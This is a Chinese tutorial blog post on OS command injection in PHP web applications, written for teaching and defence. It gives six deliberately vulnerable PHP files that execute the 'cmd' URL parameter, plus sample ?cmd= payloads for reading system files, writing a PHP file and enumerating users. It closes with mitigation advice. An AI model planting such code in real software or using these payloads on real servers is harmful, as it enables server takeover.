<web渗透-系统命令注入>

(1) .OS命令

类似于编程语言注入一样,一些应用程序需要去调用一些外部程序
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令
的参数拼接到命令行中,在没有过滤用户输入的情况下,就会造成命令执行的漏洞

.危害
-继承WEB服务器程序权限,执行系统命令
-继承WEB服务器程序权限,读写文件
-反弹shell
-控制整个网站
-控制整个服务器
.存在原因
用户输入作为拼接
没有安全过滤

.相关函数

【1】 .system()
    将字符串作为OS命令进行执行
    自动输出

    system.php
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    		system($_GET['cmd']);
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>
 
   【2】.exec()
     将字符串作为OS命令进行执行
     手动输出
    exec.php  
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    		print exec($_GET['cmd']);
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>

   【3】.shell_exec()
     将字符串作为OS命令进行执行
     手动输出
     shell_exec.php  
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    		print shell_exec($_GET['cmd']);
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>

    【4】.passthru()
    将字符串作为OS命令进行执行
    自动输出
     passthru.php  
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    	   passthru($_GET['cmd']);
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>

    【5】.popen()
       同样执行命令返回结果
       返回一个文件指针

       popen.php  
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    		popen($_GET['cmd']);
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>
        '返回结果写入文件中进行查看'
        ?cmd=ipconfig >>1.txt

   【6】.反引号 ` `

     `.php  
    <meta charset='gb2312'>
    <?php
    	if(isset($_GET['cmd']))
    	{
    		print `{$_GET['cmd']}`;
    	}
    	else
    	{
    		echo "please input ?cmd=";
    	}
    ?>

     【7】.其他具体看不同编程语言
         .......

(2) .漏洞利用
*查看系统文件
system.php?cmd=type c:\windows\

*显当前路径
 ?cmd=cd

 *写文件
  ?cmd=echo "<?php phpinfo()?>" >D:\\
   页面没有报错执行成功

 *其他命令
  ?cmd=ipconfig
  ?cmd=whoami
  ?cmd=net user 
  ?cmd=systeminfo
  ..

(3) .防御方法
1.尽量减少执行函数的使用,并在
php.ini配置文件中
disable_functions=禁用函数名

   2.进入命令执行的函数或方法之前,对参数进行过滤

   3.参数的值尽量使用引号包裹
    并在凭借前调用addslashes进行转义
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值